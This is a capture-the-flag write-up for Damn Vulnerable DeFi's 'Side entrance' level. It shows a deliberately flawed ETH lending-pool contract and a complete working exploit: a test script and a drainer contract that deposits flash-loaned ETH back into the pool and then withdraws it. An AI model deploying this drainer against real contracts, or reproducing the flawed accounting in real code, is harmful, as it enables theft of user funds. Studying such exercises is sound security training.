Damn Vulnerable Defi 4: Side entrance

Challenge:

Our fourth challenge is called ‘side entrance’ and it comes with the following prompt:

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

So all we have to do is drain the pool!

The contract for this challenge is located in contracts/side-entrance/. The contract code can be found below:

SideEntranceLenderPool.sol:
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

The hints and solutions for this level can be found below:

Hint 1:

When we call execute on the receiver, what can we do with the passed callvalue that doesn’t directly withdraw it but would allow us to access it in the future?

Solution:
The interface for the IFlashLoanEtherReceiver can be implemented by any contract that implements the `execute()` function. So, we can make a contract that implements `execute()` and if it calls the `flashLoan()` function then its `execute()` function will be called. 

Now what we notice is that `execute()` takes no parameters but it is sent a callvalue (the amount asked for in the flash loan). While the flash loan requires that we pay it back, we can use this value to increment our balances mapping by calling back into the `deposit()` function of the SideEntranceLenderPool contract. Once our balance is set to the loaned amount, we can continue the flash loan process by paying it back and execute the `withdraw()` function separately to drain the contract's funds.
Ethers Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        const SideEntrancePoolDrainerFactory = await ethers.getContractFactory('SideEntrancePoolDrainer', deployer);
        this.se_attacker = await SideEntrancePoolDrainerFactory.deploy(this.pool.address);
        await this.se_attacker.attack(ETHER_IN_POOL);
        await this.se_attacker.payAttacker(attacker.address);
    });
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title SideEntrancePoolDrainer.sol
 * @author securerodd
 */
 interface ISideEntranceLenderPool { 
   function deposit() external payable;
   function withdraw() external payable;
   function flashLoan(uint256) external;
}

contract SideEntrancePoolDrainer {

    ISideEntranceLenderPool public pool;
    constructor(address _poolAddress) {
        pool = ISideEntranceLenderPool(_poolAddress);
    }

    function execute() external payable{
        pool.deposit{value: msg.value}();
    }

    function payAttacker(address _attacker) external payable {
        payable(_attacker).transfer(address(this).balance);
    }

    function attack(uint _amount) external {
        pool.flashLoan(_amount);
        pool.withdraw();
    }
    receive() external payable{
    }

}